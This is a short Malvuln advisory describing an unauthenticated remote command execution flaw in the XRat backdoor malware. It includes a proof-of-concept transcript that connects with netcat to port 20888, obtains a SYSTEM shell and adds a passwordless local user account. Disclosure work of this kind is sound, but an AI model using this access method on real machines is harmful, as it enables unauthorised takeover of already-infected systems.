Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/dc77b126b205b0f671e505766c607ef1.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.d
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware runs with SYSTEM integrity and listens on TCP port 20888. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: dc77b126b205b0f671e505766c607ef1
Vuln ID: MVID-2021-0242
Dropped files: svhost.exe
Disclosure: 06/08/2021

Exploit/PoC:
nc64.exe 192.168.18.127 20888
"X-Rat System Console" v2.0

Status Ready, Client: 192.168.18.130:43857

[DESKTOP-2C4IRJO@C:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>net user hyp3rlinx "" /add
The command completed successfully.


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